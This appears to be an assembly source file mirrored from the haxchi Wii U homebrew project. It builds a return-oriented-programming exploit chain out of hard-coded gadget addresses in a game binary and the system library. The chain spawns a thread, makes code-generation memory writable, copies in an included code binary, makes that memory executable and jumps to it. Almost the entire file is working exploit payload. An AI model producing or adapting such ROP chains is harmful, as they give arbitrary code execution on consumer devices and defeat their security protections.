mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-14 20:35:09 +01:00
203 lines
6.3 KiB
ArmAsm
203 lines
6.3 KiB
ArmAsm
|
MAIN_STACKTOP equ (0x30796C00)
|
||
|
|
CORE0_STACKORIG equ (0x2B566050) ; TEMP ?
|
||
|
|
CORE0_ROPSTART equ (CORE0_STACKORIG + 0x2054) ; TEMP ?
|
||
|
|
RPX_OFFSET equ (0x01800000)
|
||
|
|
COREINIT_OFFSET equ (- 0xFE3C00)
|
||
|
|
LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02207084)
|
||
|
|
MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02206FA8)
|
||
|
|
BCTRL equ (RPX_OFFSET + 0x02206FBC)
|
||
|
|
MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3610)
|
||
|
|
LWZ_R0x104_MTLR_R0_ADDI_R1x100_BLR equ (RPX_OFFSET + 0x020E92C8)
|
||
|
|
LWZ_R0x2054_MTLR_R0_ADDI_R1x2050_BLR equ (RPX_OFFSET + 0x02026DE0)
|
||
|
|
LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA38)
|
||
|
|
MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179168)
|
||
|
|
LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B44)
|
||
|
|
MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
|
||
|
|
|
||
|
|
NERD_CREATETHREAD equ (RPX_OFFSET + 0x022219E8)
|
||
|
|
NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E04)
|
||
|
|
HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8)
|
||
|
|
HACHI_APPLICATION_PTR equ (0x10c8c938)
|
||
|
|
|
||
|
|
OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
|
||
|
|
OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
|
||
|
|
OS_FORCEFULLRELAUNCH equ (0x02019BA8 + COREINIT_OFFSET)
|
||
|
|
OSCODEGEN_GETVARANGE equ (0x0201B1C0 + COREINIT_OFFSET)
|
||
|
|
OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
|
||
|
|
MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
|
||
|
|
DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
|
||
|
|
IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
|
||
|
|
SYS_LAUNCHSETTINGS equ (0x03B9B25C)
|
||
|
|
_EXIT equ (0x0229a240 + RPX_OFFSET)
|
||
|
|
exit equ (0x022924b0 + RPX_OFFSET)
|
||
|
|
|
||
|
|
OSFATAL equ (0x02015218 + COREINIT_OFFSET)
|
||
|
|
|
||
|
|
CODEGEN_ADR equ 0x01800000
|
||
|
|
|
||
|
|
NERD_THREADOBJECT equ (0x107968AC - 0x1000)
|
||
|
|
|
||
|
|
.macro set_sp,v
|
||
|
|
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
|
||
|
|
.word 0xDEADBABE ; r30
|
||
|
|
.word v ; r31
|
||
|
|
.word 0xDEAD0001 ; garbage
|
||
|
|
.word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word 0xDEADBABE ; r27
|
||
|
|
.word 0xDEADBABE ; r28
|
||
|
|
.word 0xDEADBABE ; r29
|
||
|
|
.word 0xDEADBABE ; r30
|
||
|
|
.word 0xDEADBABE ; r31
|
||
|
|
.word 0xDEAD0001 ; garbage
|
||
|
|
.word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR
|
||
|
|
.endmacro
|
||
|
|
|
||
|
|
.macro call_func,f,arg1,arg2,arg3,arg4
|
||
|
|
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
|
||
|
|
.word 0xDEAD0001 ; garbage
|
||
|
|
.word 0xDEADBABE ; r21
|
||
|
|
.word 0xDEADBABE ; r22
|
||
|
|
.word 0xDEADBABE ; r23
|
||
|
|
.word 0xDEADBABE ; r24
|
||
|
|
.word 0xDEADBABE ; r25
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word f ; r27 (ctr)
|
||
|
|
.word arg4 ; r28 (r6)
|
||
|
|
.word arg3 ; r29 (r5)
|
||
|
|
.word arg2 ; r30 (r4)
|
||
|
|
.word arg1 - 2 ; r31 (r3 - 2)
|
||
|
|
; sp is here when LMW_R26R1x18 happens
|
||
|
|
.word 0xDEAD0004 ; garbage
|
||
|
|
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
|
||
|
|
.word 0xDEAD0008 ; garbage
|
||
|
|
.word 0xDEAD000C ; garbage
|
||
|
|
.word 0xDEAD0010 ; garbage
|
||
|
|
.word 0xDEAD0014 ; garbage
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word 0xDEADBABE ; r27
|
||
|
|
.word 0xDEADBABE ; r28
|
||
|
|
.word 0xDEADBABE ; r29
|
||
|
|
.word 0xDEADBABE ; r30
|
||
|
|
.word 0xDEADBABE ; r31
|
||
|
|
; final sp is here
|
||
|
|
.word 0xDEADBABE ; garbage
|
||
|
|
.endmacro
|
||
|
|
|
||
|
|
.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6
|
||
|
|
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
|
||
|
|
.word 0xDEAD0001 ; garbage
|
||
|
|
.word arg6 ; r21 (r8)
|
||
|
|
.word 0xDEADBABE ; r22
|
||
|
|
.word 0xDEADBABE ; r23
|
||
|
|
.word arg1 ; r24 (r3)
|
||
|
|
.word arg2 ; r25 (r4)
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word arg3 ; r27 (r5)
|
||
|
|
.word arg4 ; r28 (r6)
|
||
|
|
.word arg5 ; r29 (r7)
|
||
|
|
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr)
|
||
|
|
.word 0xDEADBABE ; r31
|
||
|
|
; sp is here when LMW_R26R1x18 happens
|
||
|
|
.word 0xDEAD0004 ; garbage
|
||
|
|
.word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL
|
||
|
|
.word 0xDEAD0001 ; garbage
|
||
|
|
.word 0xDEADBABE ; r21
|
||
|
|
.word 0xDEADBABE ; r22
|
||
|
|
.word 0xDEADBABE ; r23
|
||
|
|
.word 0xDEADBABE ; r24
|
||
|
|
.word 0xDEADBABE ; r25
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word f ; r27 (ctr)
|
||
|
|
.word arg4 ; r28 (r6)
|
||
|
|
.word arg3 ; r29 (r5)
|
||
|
|
.word arg2 ; r30 (r4)
|
||
|
|
.word arg1 - 2 ; r31 (r3 - 2)
|
||
|
|
; sp is here when LMW_R26R1x18 happens
|
||
|
|
.word 0xDEAD0004 ; garbage
|
||
|
|
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
|
||
|
|
.word 0xDEAD0008 ; garbage
|
||
|
|
.word 0xDEAD000C ; garbage
|
||
|
|
.word 0xDEAD0010 ; garbage
|
||
|
|
.word 0xDEAD0014 ; garbage
|
||
|
|
.word 0xDEADBABE ; r26
|
||
|
|
.word 0xDEADBABE ; r27
|
||
|
|
.word 0xDEADBABE ; r28
|
||
|
|
.word 0xDEADBABE ; r29
|
||
|
|
.word 0xDEADBABE ; r30
|
||
|
|
.word 0xDEADBABE ; r31
|
||
|
|
; final sp is here
|
||
|
|
.word 0xDEADBABE ; garbage
|
||
|
|
.endmacro
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
.create "haxchi_rop_hook.bin", 0x107968AC
|
||
|
|
.arm.big
|
||
|
|
|
||
|
|
rop_hook_start:
|
||
|
|
|
||
|
|
set_sp (rop_start - 4)
|
||
|
|
|
||
|
|
.Close
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
.create "haxchi_rop.bin", (0xF4000000 + 0xFD2000)
|
||
|
|
.arm.big
|
||
|
|
|
||
|
|
rop_start:
|
||
|
|
|
||
|
|
; call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
|
||
|
|
|
||
|
|
; call_func SYS_LAUNCHSETTINGS, 0, 0, 0, 0
|
||
|
|
; call_func exit, 0, 0, 0, 0
|
||
|
|
; call_func _EXIT, 0, 0, 0, 0
|
||
|
|
; .word _EXIT
|
||
|
|
; .word _START_EXIT
|
||
|
|
; .word 0xDEADBABE ; garbage
|
||
|
|
; .word 0xDEADBABE ; garbage
|
||
|
|
; .word 0xDEADBABE ; garbage
|
||
|
|
; .word 0xDEADBABE ; garbage
|
||
|
|
; .word 0xDEADBABE ; garbage
|
||
|
|
call_func_6args NERD_CREATETHREAD, NERD_THREADOBJECT, LWZ_R0x2054_MTLR_R0_ADDI_R1x2050_BLR, 0xDEAD0DAD, thread_param, 0x0, 0x0
|
||
|
|
call_func OS_GETTHREADAFFINITY, NERD_THREADOBJECT, 0, 0, 0
|
||
|
|
call_func MEMCPY, CORE0_ROPSTART, core0rop, core0rop_end - core0rop, 0x0
|
||
|
|
call_func NERD_STARTTHREAD, NERD_THREADOBJECT, 0x0, 0x0, 0x0
|
||
|
|
call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
|
||
|
|
|
||
|
|
core0rop:
|
||
|
|
; switch codegen to RW
|
||
|
|
call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
|
||
|
|
|
||
|
|
; memcpy code
|
||
|
|
call_func MEMCPY, CODEGEN_ADR, code, code_end - code, 0x0
|
||
|
|
call_func DC_FLUSHRANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
|
||
|
|
|
||
|
|
; switch codegen to RX
|
||
|
|
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
|
||
|
|
call_func IC_INVALIDATERANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
|
||
|
|
|
||
|
|
.word CODEGEN_ADR
|
||
|
|
core0rop_end:
|
||
|
|
|
||
|
|
output_string:
|
||
|
|
.ascii "haxthread"
|
||
|
|
.byte 0x00
|
||
|
|
.align 0x4
|
||
|
|
|
||
|
|
thread_param:
|
||
|
|
.word output_string
|
||
|
|
.word 0x00800000 ; stack size
|
||
|
|
.word 0x00000010 ; thread prio
|
||
|
|
.halfword 0x0001 ; thread affinity (core0)
|
||
|
|
|
||
|
|
code:
|
||
|
|
.incbin "haxchi_code/haxchi_code.bin"
|
||
|
|
code_end:
|
||
|
|
|
||
|
|
.Close
|